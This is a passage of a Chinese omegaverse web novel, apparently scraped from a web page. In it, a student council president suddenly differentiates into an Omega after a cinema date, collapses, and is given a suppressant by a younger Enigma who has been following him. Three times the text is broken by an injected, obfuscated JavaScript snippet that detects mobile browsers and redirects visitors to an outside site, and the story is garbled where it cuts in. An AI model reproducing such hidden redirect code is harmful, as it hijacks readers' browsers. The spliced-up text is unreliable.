空气粘稠得像化不开的糖浆,裹挟着旁人心头升腾的热意。邻座的小情侣呼吸都变得粗重了。 苏拢烟只觉得指尖颤得厉害。 荧幕上近乎野蛮的占有,掠夺,和另一边乖巧顺从的臣服,令他觉得恐慌无措。 他在人前一直秉着的冷静、成熟、可靠的特质,在绝对的力量面前,是不是也会变得一分不值? 闻野……真的还会喜欢自己吗? 如果喜欢,会不会也掺杂了信息素的作用?多了怜悯,少了尊重? 他不敢继续想下去。 苏拢烟蜷了蜷指节。后颈的灼痛正在与电影画面产生着诡异的共鸣。 就在此时,一个比灼痛更清晰的感觉,如细密的电流爬山他的背脊。 在黑暗中,除了荧幕忽明忽暗的光,似乎还有别的什么—— 一道眸光。 极其专注的,不掺杂丝毫情欲,更似审视,又像是肆无忌惮的打量。 这感觉太清晰了,清晰到让他如芒在背。 是谁在看自己? 苏拢烟心尖一凛,背脊瞬间沁出一层薄薄的冷汗,他不敢回头,但这感觉比方才荧幕上的画面更让他感到悚然。 仿若一个被隐藏得很深的秘密,被人不动声色地揭开一角。 他匀了匀呼吸,强迫自己将注意力放到荧幕上。而那些跳跃的光影,紧张刺激的剧情,全都变成背景板,泛着模糊的光。 唯有后颈持续的痛裹挟着那道眸光,穿透他的感官,无限扩张。 每一秒都格外漫长…… 片尾曲响起,电影终于结束了。放映厅的灯光骤然亮起。 苏拢烟微微眯了眯眼睛。光亮驱散了放映厅里残留的躁动。周围的人开始舒展身体,窸窸窣窣地收拾东西,低声交谈。 背后那道令他不安的视线似乎也随着这片敞亮消失了。 苏拢烟缓缓松了口气。 “走吧,小烟。”闻野站起身,伸了个大大的懒腰,顺势揽住苏拢烟的肩膀,声音里满是意犹未尽的兴奋,“哇,这结局,没想到啊!前面打得这么爽,最后居然是悲剧结局。” 苏拢烟被他带着站起身来,脚底有点虚。 他稍稍偏了偏头,避开过于亲密的触碰,只维持肩膀被揽住的姿势。 “嗯,是挺出乎意料的。”他含糊其辞地应付了一句,声音带着哑涩。 闻野显然没有察觉到苏拢烟的异样,他此刻的注意力还停留在对电影的回味上。他一边随着人流朝外走,一边兴致勃勃地继续说着:“不过中间那段Alpha人类和Omega人鱼的戏,拍得真带劲!特效绝了!” “是吗?”苏拢烟抿起唇角,露出一个勉强的微笑,眸光不自觉扫向身后。 人很多,摩肩接踵。刚才那个座位的方向,已经看不到有谁了。 “你怎么了?小烟。”闻野总算发现了苏拢烟的心不在焉,侧过头去看他,“从刚才开始就怪怪的,不舒服吗?” “没有。”苏拢烟迅速收回视线,迎上闻野关切的目光,努力让自己看起来表情自然,“就是电影院里有点闷,人太多了。” “也是,”闻野没有多虑,揽着苏拢烟的手紧了紧,带着他走出拥挤的过道,“走,出去透透气。我知道附近新开了家评价不错的……” 闻野规划着接下来的约会流程,只是声音在苏拢烟听来渐渐淡去。 苏拢烟被动地跟着他的脚步,走在影院大厅里。四周川流不息的人群仍然在讨论电影里的剧情,嘈杂的背景音像隔着一层玻璃,很是模糊。而那道挥之不去的身后的眸光,若隐若现,似乎依旧存在,而且愈发清晰。 “就是出门左拐街角那家咖啡馆。”闻野兴味道,“听说他们家的手冲不错。” 苏拢烟没有提出异议。此刻他只想找个相对安静的地方,整理一下纷乱的思绪。 太疲惫了。 - 透过临街的玻璃,能看到咖啡馆内温馨暖色的光线。推门进去,浓郁的咖啡香气混合着烘培点心的甜味扑鼻而来。 人不算多,三三两两地坐着,低声交谈。 “你先去找个位置,我去点单。”闻野松开揽着苏拢烟的手,拍了拍他的肩背,径直朝柜台走去,开始研究起菜单。 “一杯巴拿马瑰夏,一杯印度曼特宁,都是大杯,谢谢。”Alpha爽朗的嗓音,“哦对了,你们这里有戚风吗?” 苏拢烟的眸光在咖啡馆里逡巡了一圈,最后选了一个靠窗的双人卡座。身体陷进柔软的沙发里,感到丝缕安心。他摩挲着冰凉的指尖,视线落在窗外流动的行人和来往的车辆上。 后颈隐隐的灼痛还黏在他的感官末梢,他有那么一瞬间在怀疑,自己是不是最近忙招新压力太大,出现了幻觉? 出神之际,“叮当”一声,咖啡馆的门被推开,伴随着张扬的喧闹。 几个穿着潮牌的大一学生嬉笑着涌进来,打破了咖啡馆里的宁静。他们身上带着年轻Alpha的活力与朝气。 “刚才那电影也太顶了!”一个少年音量很大,“尤其是那个人鱼Omega,啧,被摁在水里……简直了!” “就是就是,看得我差点当场……嘿嘿。”另一个穿大红T恤的少年接话道,语气晦涩,引来同伴一阵哄笑,捶打。 “闭嘴吧你,公共场合。”其中一个看起来沉稳些的开口道,但嘴角也挂着笑意,“不过说真的,那个Alpha人类也够狠的,小人鱼根本没法反抗。” “Alpha不就该这样吗?对自己的Omega不能手软。”灰蓝发色的少年反驳,语气理所当然道。 “……” 肆无忌惮的,弥漫着浓郁荷尔蒙气息的讨论声,像一把钝刀,一下一下地,切割着苏拢烟的心脏。 荧幕上那些令他极为不适的画面,被这群半大不小的少年用近乎炫耀的猎奇口吻阐述出来,反复咀嚼着,Omega的脆弱,Alpha的掌控。 像是在聚众欣赏漂亮易碎的战利品。 真让他烦躁! 苏拢烟眉头紧锁,视线正要避开那群少年,倏然定格住。 在那群少年中间,有一个人格外惹眼。 不是因为他穿得最潮,也不是声音够大。恰恰相反,他没有说话,只是闲淡地靠在卡座的椅背上,单手插在黑色连帽卫衣的口袋里,另一只手随意地搭在桌沿,圆润的指尖轻轻敲着桌面。 他微微侧着头,几缕银灰色发丝顺着帽檐垂下,似乎在听同伴们交谈,眼神却没有聚焦在他们身上,而是若有所思地望向窗外,下颌线凌冽分明,今天的唇色有点淡。 分明是和那群坏坏的孩子一起进来的,身上却不带咋咋呼呼的浮躁,反而透着一股寡淡。 是祁禁。 苏拢烟心头猛地一颤。 怎么会是他?出现在这里…… 电影院里,那道寒凉的像是审视般端量自己后颈的眸光,蓦地浮现在脑海里。 当时是祁禁在看自己吗? 这个念头像星火似的迅速燎开。 苏拢烟指尖泛白,呼吸差点停滞。 就在这时,仿佛感应到了苏拢烟的眸光,望着窗外的少年缓缓转过头。 他的眸光越过服务员手中氤氲的咖啡热气,直直地落在苏拢烟的眸底。 少年的眼眸很黑,像浓得化不开的墨,紫石棱一般,里面没有他身旁那群少年的亢奋与欲望,没有社交场合的温度。 是一种近乎了然的,极淡的兴味。 像是在对苏拢烟说:哦?被学长发现了。 苏拢烟的心脏在胸腔里微微抽搐。 “小烟,怎么了?脸色这么苍白?”闻野端着两杯咖啡走过来,顺手将那杯巴拿马瑰夏递到苏拢烟面前。 他顺着苏拢烟刚刚失神的方向望了一眼,只看到一群吵闹的大学生,不由得蹙了蹙眉:“这帮小屁孩,真闹腾。” 他嫌恶的摇了摇头,根本没注意到那群人里还有祁禁。 苏拢烟强迫自己冷静下来,端起面前的咖啡,抿了一口。沉着冰块的液体顺着喉咙淌下,喉结上的小痣不动声色地战栗。 “没什么。”苏拢烟抬起头,对着闻野努力露出一个自然的微笑,“就是突然有点累了。” 他没有再往祁禁的方向看,但依然能清晰的感受到那道眸光。 存在感强得可怕。 闻野伸出手,宽大的手掌在苏拢烟眼前晃了晃,想要拉回他游离的注意力:“真没事?” 指尖残留的冰凉和后颈隐隐的刺痛交织,苏拢烟的意识像是被割裂了。一部分沉浸在被端量的无措中,剩下的那部分被男友拽回了现实。 突然,闻野口袋里的手机不合时宜地振动起来。 闻野撇了下嘴角,掏出手机看了一眼,眼睛微微眯起,好似藏着欣悦,但很快收了起来,“嗯,我在外面”,他背过身去,语气轻和,“好的,我现在就过来,你不要乱跑,待在那里等我。” 挂掉电话后,眼角依旧掖着悦意,看向苏拢烟时,又迅速切回抱歉的表情。 “小烟,对不起。”他深深叹了口气,语气无奈,“篮球队那边有点急事,我得过去一趟,妈的,真会挑时候”,他低低地咒骂了一声。 苏拢烟紧绷着的神经,在听到闻野要离开的时候居然松懈了,他的唇角绽露了一个体贴的笑靥:“没事,你有正事就先去忙。” “本来还想多跟你待一会的。”闻野附身靠近苏拢烟,高大的身影覆盖下来一片阴影,温热的指尖携着安抚的意味,亲昵地捏了捏苏拢烟微凉的耳垂。 触碰很轻,充满了占有欲,像是在标记独属于自己的物品。 这一刻,苏拢烟的背脊又绷紧了。 他感受到斜对面那道眸光,正精准地落在他泛起红晕的耳轮上。 “你在这里等我一下?”闻野的指腹摩挲着他的耳垂,视线飘忽,“算了”,他好像想起了什么,“估计得搞挺晚,看你也累了,要不先送你回学校?”,没等苏拢烟回应,他又自顾自做了决定,“不行,来不及,那帮孙子等着呢,你自己先回去吧。乖。” 最后那个“乖”字,像是在哄劝,和他捏苏拢烟的耳垂的动作一样,熟稔,自然。 这在平时是情侣间的亲昵,但此刻,在苏拢烟极度敏感的神经下,竟品出了心不在焉的敷衍。 “嗯,好。”苏拢烟垂下纤长的眼睫,避开闻野的视线,同时也避开了来自另一个方向的注视,他尽量放平语气,“路上小心。” “那我先走了,晚上办完事给你打电话。”闻野松开手指,没有丝毫留恋的转过身,大步迈向咖啡馆门口,身影很快消失在门外。 卡座里只剩下苏拢烟一个人。 心头像是被无数鼓槌重重敲打,他胸口发闷。 而后,他凭借着近乎自虐般的冲动,缓缓抬起眼眸,再次望向斜对面那群少年所在的方向。 他们依旧说笑着,分享手机里的什么东西,声音有些模糊。 苏拢烟的眸光不由自主地寻找着那个穿着黑色连帽卫衣的少年。 祁禁没有融入他的同伴,也没有看窗外流动的风景。他正看着这边,看着刚才闻野站着俯身捏苏拢烟耳垂的位置,那个空位。 过了半晌,他才慢条斯理地将目光一寸一寸,移到苏拢烟的眸底。 他们像只隔了层苏拢烟薄薄的眼镜镜片那般近。 水墨似的眸子里,映照出苏拢烟孤零零坐在卡座里的身影。 不加掩饰的眼神。 闻野带着Alpha的占有欲又有点不走心的亲昵动作,苏拢烟在那一瞬无法抑制的僵直,闪躲,全都被祁禁一帧不漏地尽收眼底。 他的眼神像在对苏拢烟说:“学长,你的Alpha男友好像也没那么在意你的感受。” 再残忍一点的话:“刚才那一下,他捏疼你了?还是,你更害怕被我目睹?” 苏拢烟只觉得一股滚烫的羞耻感袭上心头,血液逆流,在血管里肆意奔腾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575208|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被看穿了。 被彻底看穿了。 不仅仅是苏拢烟对那部科幻大片感到的不适,此间的疲惫,不安,更可怕的是,他和闻野之间看似坚固到牢不可催的感情,已经开始摇摇欲坠…… 都被祁禁冷静的眸光毫不留情地洞穿了。 他攥紧手中的咖啡杯,冰凉的玻璃杯壁刺得他指骨生痛,指节泛白。尖锐的触感,稍稍让他找回零星冷静,没有当场失态站起来。 只是疯狂雀跃的心脏,像是要撞破肋骨从胸腔里冲出来。 他挪开视线,不再和祁禁对视。 水珠顺着杯壁滚落,洇湿了杯垫,融进他掌心里渗出的汗珠。 他能感觉到自己的脸颊烧得厉害,一路延伸到耳轮。 就在这个时候,斜对面那群少年压低了的喧闹声,突兀地拔高了几分。 “禁爷,快看这个!劲爆!”音量最大那个少年正鬼鬼祟祟地从书包里掏出一本杂志,封面花花绿绿的,献宝似的推到祁禁面前,“《PLAYBOY》独家写真!就是电影里那个Omega美人鱼的最新性感写真!我靠,这头迷人的金发,这腰,这脸蛋,绝了!” 《PLAYBOY》…… 专属于Alpha览阅的成人杂志。 苏拢烟闻言,埋下了头。 那部让他坐立难安的科幻大片里被人类Alpha以各种暧昧乃至露骨的方式蹂躏的人鱼Omega。 漂亮到近乎妖冶的Omega。 “哦?是吗?”穿着大红T恤的少年揣着好奇心凑了过去,紧接着那边爆发出一阵赞叹和哄笑。 “我看看,让我看看。”那个少年争抢着要夺过杂志,“温南星是吧?就我们学校表演系大二那个,听传闻说,真人比电影里还要媚呢,追他的Alpha能从校门口排到宿舍楼。” “可不是嘛,听说他的信息素是软软糯糯的果冻味,特别馋人。难怪电影里那个Alpha跟疯了似的。” “这尺度可以啊,几乎没穿什么。哇——,这小蛮腰,白嫩的大长腿,你们说,他拍这种照片,他那个Alpha男朋友知道吗?” “他有男友了?操!”说着,那少年捶了一拳桌子,“这可真操蛋了!哪个狗货这么幸运。” “可不是吗?听说是体育系大三的一个猛男大帅逼,刚谈不久,叫……闻、闻什么来着?” 那些污言秽语,每句话都是对Omega的轻佻评论,对他人隐私的肆意窥探。 苏拢烟一个字也听不下去了。 他攥紧拳头,掌心被扣得生疼。 为什么,偏偏在这个时候,提到这个? 他能想象得到,那本《PLAYBOY》的内页上,是怎样令人血脉偾张的画面,物化着Omega,就像那部科幻大片里的无数个让他感到不适的镜头一样。 而祁禁,祁禁又会怎么看待这个现象?他会和那些少年一样用轻浮的态度去欣赏“玩物”吗? 然后,再来端量他这个刚被Alpha男友“标记”为所有物的Beta? 苏拢烟不敢抬头,不敢呼吸。他觉得自己像个被丢进众目睽睽之中的囚徒,在戏谑和探究的目光下,被凌迟,来回反复的,凌迟。 唇珠被咬出了血印。这点疼痛根本无法压下心头的羞耻,以及对未来的惶恐。 他就要窒息了。 真的受不了了。 每一秒都在煎熬。讨论声还在继续,愈演愈烈。 “听说温南星的信息素很香甜,Alpha闻了直流口水的那种。” “禁爷,你要不要也搞一本?放床头,‘辟邪’……” …… 真是够了! 苏拢烟甩了甩混沌的脑袋,他现在只想立刻!马上!离开! 突然,一阵酥酥麻麻的燥热从身体深处涌来,迅速蔓延至指尖,每一根手指都像被打了甜腻的麻药。 血液像被什么点燃了,烧得苏拢烟头晕目眩,眼前一阵阵发黑。 后颈那块皮肤传来细密的痒麻,紧接着,是另一种花苞将放未放般的鼓胀,酸痛。 要从皮肉里破茧而出…… 这感觉太过陌生,诡异,瞬间击溃了他最后一点强撑的冷静。 苏拢烟跌跌撞撞地站起身,仓促到带倒了桌上的咖啡杯和戚风蛋糕,发出“乓”的一声响动,成功吸引了咖啡馆里所有人的目光。 但他已经顾不上了。 他没有再去注意祁禁,只是一味地凭着本能,踉踉跄跄地冲出了咖啡馆。 玻璃门在他身后“砰”的一声合上。 夕阳的光晖明晃晃地洒在苏拢烟的背脊上,像是火上浇油,那股从内而外蒸腾的灼热让他的血液都要蒸发了。 他拖着脚步,靠近路边一棵看起来不太结实的树干,伸手扶上粗糙的表皮,这才勉强稳住身子。 浓密的树荫投下一片阴凉,他背过身,靠着树干缓缓滑坐下去,想要汲取一点清凉。 可那股燥热没有丝毫缓解,后颈的痒痛愈发清晰,在皮肤底下痉挛,膨胀。 他大口大口喘着气,额尖渗出密密的汗珠,视野开始模糊地旋转。 身体像被拉扯住,一边是焚身般的灼热,一边是虚脱般的冰冷。 太难受了…… 苏拢烟终于忍不住了,在更强烈的眩晕袭来时,他颤抖着抬起手,伸向后颈发烫的位置。 指尖触及之处,一片滚烫。 然后,他的手指猛然僵住了。 触感……不对! 不再是平坦光滑的皮肤了。 在他的指腹之下,一小块凸起的,柔软又有弹性的……腺体正在蓬勃滋长,散发着惊人的热温,还能感受到突突地脉动。 像是一颗刚刚破土而出的,带着清晨露珠的嫩芽。 脆弱,又充满生命力。 这已经不是医生口中那个“腺体雏形”了,他本以为需要很长时间的缓慢发育才会出芽的东西,现在已然出落成一个完全成形鲜嫩饱满的腺体。 16. 第16章 那颗在他指腹下鲜活跃动的腺体,仿若一团来自地狱的业火,将苏拢烟心头残存无几的希冀烧成灰烬。 Omega…… 他竟然,真的分化成了一个彻彻底底的Omega。 在这样一个狼狈的傍晚。 “不,不要……!”苏拢烟失神地喃喃着,扶着树干的手指被粗糙的树皮蹭破了。 为什么,在短短一天的时间里就变成了Omega? 他一直以来,都是一个普普通通却也因此获得安稳和自由的Beta。学生会会长,品学兼优,待人和善,这是苏拢烟为自己构建的保护壳,也是他引以为傲的标签。可现在,都要因为这颗成熟的腺体而变得岌岌可危。 灼痛没有褪去,反倒像是积蓄了更凶猛的力量,一波接着一波,在后颈的腺体上炸开。 苏拢烟弓起身子,额尖抵在树干上,想要向一棵枯槁的树,汲取一点点慰籍。 一阵陌生的空虚伴随着潮热涌上心头,似要将他的理智吞噬干净。 是Omega的发情期……到了? 这个荒唐的念头像一道惊雷,狠狠地朝他劈头盖脸打来。 他竟然必须在这样一个毫无准备的时刻,迎来自己作为Omega的第一次发情。 “嗯,嗯……”一声声难以压抑的闷哼从喉咙里溢出,喉结上那颗褐色的小痣也难耐地颤抖起来。 苏拢烟死死咬住唇瓣,不让自己发出这般羞耻的声音。 他能闻到,一股极淡的馨香正从他后颈的腺体那里蔓延开来,丝丝缕缕地凝结在空气中。 味道像新鲜的草莓,陌生又熟悉,有点像他曾经从漂亮的Omega身上闻到过的,让Alpha瞬间失控的信息素的味道。只是,这股味道源于他自己,在此时此刻。 不可以!他不能继续待在这里了。 大街上人来人往,尽管这条路相对僻静,但也保不齐会有Alpha经过。一旦被什么来路不明的Alpha嗅到,后果不堪设想。 他会想那部科幻电影里的人鱼Omega一样遭人摆布。 苏拢烟不敢再想下去,那种被掌控被物化的压迫感比身上的痛苦更让他难以忍受。 他快被混乱的念头和身体里汹涌澎湃的欲望撕裂了。 苏拢烟大口喘着气,视野渐渐模糊,泪水不自禁地从眼角滚落。他得赶紧找个地方躲起来,一个绝对安全不会被打扰的地方。宿舍?不行,这个时候珀尔肯定回去了。回家吗?太远了,他撑不了那么久。 就在他绝望至极之际,手机响了。 苏拢烟的身体颤了颤,用尽全力才掏出手机,屏幕上跳动的来电名字是“裴莺时”。 他现在哪有心思接电话。勉强应付一下就挂掉吧。 “喂?会长,你现在有空吗?”听筒那头传来裴莺时焦急的声音,“那个,我家里突然有点急事,今晚便利店的班……能不能麻烦你帮忙顶一下?我知道这周日你是调休的,可我实在没有办法,拜托拜托!” 苏拢烟费力地张了张唇瓣,声音喑哑道:“我,我现在……” 他现在怎么可能去上班! 然而,就在片刻的犹豫中,一个念头划过他的脑海。 他们店里有卖抑制剂!就在收银台后面的医药柜里。是那种应急用的,给突然发情的Omega和易感期的Alpha准备的。 这个发现将他从濒临崩溃的边缘拽了回来。 他可以去便利店顶班,趁机偷偷买一支抑制剂,再在没有顾客的时候溜进杂物间注射。 苏拢烟努力让自己的声音听起来寻常一点,那股甜腻的痒麻已经快要吞噬掉他身体里每一个细胞:“好,我知道了,我,我这就过去。” “太好了!会长,我就知道你是我的救星!”裴莺时如释重负。 挂断电话,苏拢烟定了定神,便利店离这里不远,走个十几分钟就到了,他得在彻底失控前赶到那里。 他扶着树干,耗尽了全身气力,才一点点挺直背脊,双腿发软,每挪动一下,腺体的鼓胀就愈清晰一些,那股陌生的草莓香也愈浓郁,连他自己闻到都觉得晕眩。 要快! 他只希望,这一路都不要遇到Alpha。 苏拢烟拖着摇摇欲坠的身体,朝便利店的方向迈进,不敢抬头,生怕与路人眼神交汇。 脚下的道路似乎没了尽头。 “快一点,再快一点。”苏拢烟在心头默念着,像是在哀求自己的双腿。眸光渐渐黯淡下去,眼前开始阵阵发黑,脚步越来越慢,仿佛随时都会栽倒。 此时,一阵轻微的脚步声自身后徐徐传来。 苏拢烟冷不丁战栗。 他停下脚步,艰难地回过头,心脏快要把胸腔捶碎了。 是谁?Alpha?他闻到自己的信息素了? 恐惧和无措令他呼吸都变得异常艰难,他妄图将那股草莓味抑回身体里,这根本是徒劳。 然而,身后空荡荡的。只有几片被风吹落的黄叶,在夕阳沉淀下来的一缕余晖中打着旋。 苏拢烟怔了怔。可能是自己太过紧张,产生了幻觉。他自嘲般地勾了勾唇角,连一个完整的笑靥都扯不出来了。 他重新迈开沉重的步伐,朝前挪着。 苏拢烟不知道,在他身后,有一个高硕挺拔的身影,正不紧不慢地跟着他走。 祁禁的手插在卫衣口袋里,脸上没有表情,那双浓得化不开的墨眸一瞬不瞬地盯着前方踉踉跄跄的、近乎要融化在空气里的身影。 他看着苏拢烟扶着墙,走几步,喘一会,像惊弓之鸟般回过头来,又继续强撑着挪步。 少年清澈幽深的眸底,穿书以来头一次盛满了慌乱。 那股似有若无的蕴着奶香的草莓味Omega信息素飘荡过来,涌入祁禁的鼻腔。 他没有像Alpha那般躁动、渴望,Enigma的本能让祁禁对这股味道非常着迷,但他能很好的控制住自己。 学长,分化成了Omega。原书里没有这样的情节。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575209|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >祁禁跟着苏拢烟继续走着,保持着一个既能清晰观察到苏拢烟的情况又不会被轻易发现的安全距离。 他就像个经验丰富的猎手,很有耐心。 - 夕阳的最后一抹余光沉入了地平线,暮色四合。路灯一盏接着一盏亮起,将苏拢烟的影子拖曳得长长的,很是孤单。 便利店熟悉的招牌终于遥遥在望。 苏拢烟抿了抿干涸的颤抖的唇瓣,眸底燃起点点星光。 又倏然熄灭了,便利店明晃晃的灯光在他眼中碎成无数摇晃的光斑,耳边蜂鸣声不断。那股从腺体蔓延开来的酥麻,将他推倒在地。 他的膝盖狠狠地磕在冰冷坚硬的水泥地上,发出闷响。 他来不及感受疼痛,意识已然沉入昏黑之中,脑海中浮现的最后一个念头,只有两个字:完了。 初次绽放的Omega腺体,生涩而致命,信息素像刚摘下就被捣烂的草莓汁,肆无忌惮地弥漫,浓郁到瞬间就充满了整个街角。每一寸空气都被这股甜香浸透,变得黏稠。 好在这个夜晚,便利店周围空无一人,里头传来冰柜运作的低鸣。 半晌后,那道一直缀在苏拢烟身后的颀长身影,停下了脚步。 祁禁站在便利店门口,看着昏厥的苏拢烟,眉头微微蹙起。 “终究是没撑住。”他沉声自语,好似早已做出了预判。 草莓味已经浓郁到化不开,包裹着周围的一切,纵然是个普通的Beta,恐怕也能在这里闻到这股甜香。 祁禁眯了眯眼,看起来依旧没有太多情绪波动。 他上前跨了一步,推开便利店的玻璃门,迎客铃响起,没有其他人。 随后,祁禁弯下腰,毫不费力地将苏拢烟打横抱起。入手一片滚烫,隔着薄薄的布料都能感受到苏拢烟身体里炽热的温度。 怀里的人轻软得像没了骨头,呼吸急促,鼻息微弱,眉头紧紧锁着,即使在昏迷中也透着难耐的苦痛。 祁禁就这样抱着苏拢烟,径直走进便利店,拐向靠窗的座位,这里的灯光柔和一些。 他小心翼翼地将苏拢烟放在长条座椅上,让他靠着椅背。苏拢烟在迷糊中发出一声细弱的呜咽,身子不安的动了动,后颈偏向一边,露出脖颈流畅优柔的线条,还有…… 祁禁的眸光落在了苏拢烟被汗水濡湿的后颈。 他的指尖顿了顿,犹豫了片晌,而后,缓缓伸向苏拢烟后颈的衣领。 衬衣早已被浸湿,黏腻地贴在白皙的肌肤上,祁禁勾了勾手指,领子被轻轻拉开,露出下面那一小片诱人的禁地。 那块微微凸起的皮肤,泛着水蜜桃般的粉嫩水光,细腻得像羊脂白玉,在温煦的灯光照耀下,饱满,蓬勃,如滴下甘美汁液的果实,又似被雨露催熟的花苞,颤动着。 细看之下,还能捕捉到下面因为充血而变得格外清晰的娇嫩血管。 祁禁眸下的一切,都在昭示着腺体主人正处于何等汹涌的情潮中,用未经人事的生涩,与渴求,向他召唤。 17. 第17章 腺体周围的皮肤染上了一层薄红,像是被桃色的胭脂晕染过一般,围绕着中间那一抹极致的粉嫩,绽开出绚烂的朝霞,生意盎然。 那股清甜中蕴着青涩的草莓香,此时正源源不断地从这小小的脆弱的腺体里散发,愈加的浓郁,直接。 祁禁酝酿了一下呼吸。 倾下身,凑得更近了一些,墨染的瞳仁深处,暗芒汹涌。 果然,一个刚刚分化完的Omega腺体,过于稚嫩,充满鲜活的生命力,又十分抓人,太致命了。 而苏拢烟对此一无所知,他依旧沉浸在发情带来的昏热与痛苦中,无助地,将自己最脆弱最诱人的腺体暴露在这个刚刚认识不久的Enigma面前。 祁禁的喉结剧烈地滚动了好几下,他不是没有受到诱惑,而是Enigma强大的自控力,让他能够压制住几乎将要冲破理智的原始冲动。 他松开拈着苏拢烟衣领的手指,缓缓直起身,眸光也从那片粉嫩上移开,扫视了一圈便利店的货架。最终视线锁定在收银台后方,医药用品柜上层一处角落。 那里存放着一些应急药物。 祁禁迈开步子走到货架前,逡巡了一小会,从一排包装相似的针剂中抽出一支粉红色标识的Omega专用强效抑制剂。琢磨了一眼剂量,是足以让初次发情的Omega迅速冷静下来的。 他拿着那支针剂,重新回到窗边的长条座椅旁。苏拢烟眉头紧蹙,身体由于高热而微微发抖,嘴里时不时逸出几声细弱的呜咽,带着轻微的哭腔。 祁禁将抑制剂搁在一旁,抬起苏拢烟的左臂,想要将湿透的衬衫衣袖卷上去。 汗水濡湿的布料黏腻地贴在苏拢烟的皮肤上,有点难缠。祁禁的动作很耐心,一点一点地,将袖口推至苏拢烟的肘弯上面,一截因身体发烫而泛着红晕的小臂暴露在祁禁眸下。肌肤光滑,淡青色的血管若隐若现。 祁禁拆开抑制剂的包装,排空针管里的空气,没有丝毫犹豫地,一手固定住苏拢烟的手臂,一手将针尖对准一处细腻的皮肤,推入药剂。 药液注入的瞬间,苏拢烟在昏迷中感受到细微的刺痛,身体瑟缩了一下,发出一阵愈加委屈的欷歔。 祁禁拔出针头,用包装里的酒精棉片按压住小小的针孔,眸光沉静,注视着苏拢烟。 药效很快发挥了作用。 苏拢烟紧锁的眉头逐渐舒展,急促灼热的呼吸也慢慢平缓下来,虽然还是虚弱,但那股近乎要将他燃尽的清热正在一点点地褪去。 祁禁端量着苏拢烟好一会,确认他不会再有什么危险了,这才转身,将用过的针剂和包装纸一起丢进垃圾桶。 他重新回到长椅旁,没有再靠近苏拢烟,只是抱臂倚在一旁的货架边,眸光柔和了许多。 - “唔……”苏拢烟苏醒过来的时候,只觉得头痛得厉害,像是要裂开一般。视野从一片白茫茫的模糊逐渐变得清晰,日光灯照得他晃眼,他眨了眨眼帘。 身体好像不那么炙烫了? 他松了松手指,诧异寻思,先前那股似要将他焚烧的欲望,竟奇迹般消褪了。四肢还是酸软乏力,像是大病初愈后的虚脱,但心底令他感到羞耻又绝望的渴求,真的淡漠了,如湖面一样平静。 “我这是……怎么了?”他沙哑地低喃。 记忆渐渐回笼。 第一次发情,在大街上,然后艰难地走到便利店,想要寻找抑制剂,昏倒了……再然后…… 苏拢烟猛地坐起身,不慎牵扯到手臂,细微的刺痛让他发出“嘶”的一声,他困惑地低头看向自己的手臂。 衬衫袖口被卷至手肘上面,露着小臂。手臂内侧,有一个小小的不太起眼的针孔印子,周围的皮肤有点红肿。 是抑制剂!有人给他注射了抑制剂! 他环顾四周,便利店里空荡荡的,没有别人,耳边传来冰柜运作发出的“嗡嗡”的低鸣。 “叮咚——” 这时,便利店的玻璃门被人从外面推开,清脆的迎客铃打破了安静的氛围。 苏拢烟近乎条件反射般想要从长条座椅上站起身:“欢迎光……” “临”字未出口,便愣住了。 两个衣着光鲜的女孩推门而入,她们身上散发着淡淡的独属Omega的绵甜气息,正兴致盎然地小声交谈着。 让苏拢烟错愕的是,在他开口的同时,一个清澈爽朗的少年音,已从不远处的货架区传了过来。 “欢迎光临,两位晚上好。” 苏拢烟循声望去,纤长睫羽下盛着叆叇的琥珀色水眸泛起涟漪。 只见祁禁正伫立在一排摆满零食的货架旁,手里拿着几包甜甜圈,正在慢条斯理地整理商品的位置,将之摆放整齐。 他穿着傍晚那身黑色连帽卫衣,侧脸的线条被柔和的灯光衬得格外明晰俊逸。明明是再普通不过的动作,由他做出来,就偏偏带着该死的张力、漫不经心的矜贵气。 两个Omega女孩着实被惊艳到了,脚步蓦地顿住,眸光直愣愣地黏上祁禁,面颊两侧迅速飞起一抹绯红。 “哇——这也、太帅了吧!”一个短发女孩忍不住小声惊叹,眸底源源不断涌出激动与雀跃。 另一个长发女孩闻言奋力地点了点头,搓着手指,低着下颌有点羞涩又壮着胆子看着祁禁:“你、你好,请问……这里只有你一个人……值班吗?” 祁禁放下手中的甜甜圈,转过身,唇角勾起一抹礼貌的淡笑,水墨染成的浓眸盛着细碎的莹光:“嗯,是的。两位想买点什么?我可以帮忙。” 少年的音量不算高,音色温和,不失恰到好处的疏离感,又像轻盈的羽毛搔刮着女孩的心尖。 “哇!”女孩们眸中的光更灼亮了,唇瓣微张,合不拢了。 苏拢烟坐在长条座椅上,望着眼前的这一幕,整个人都懵了。 祁禁? 他,他他他……怎么会在这里整理货架?还笑得如此“和善”、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575210|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 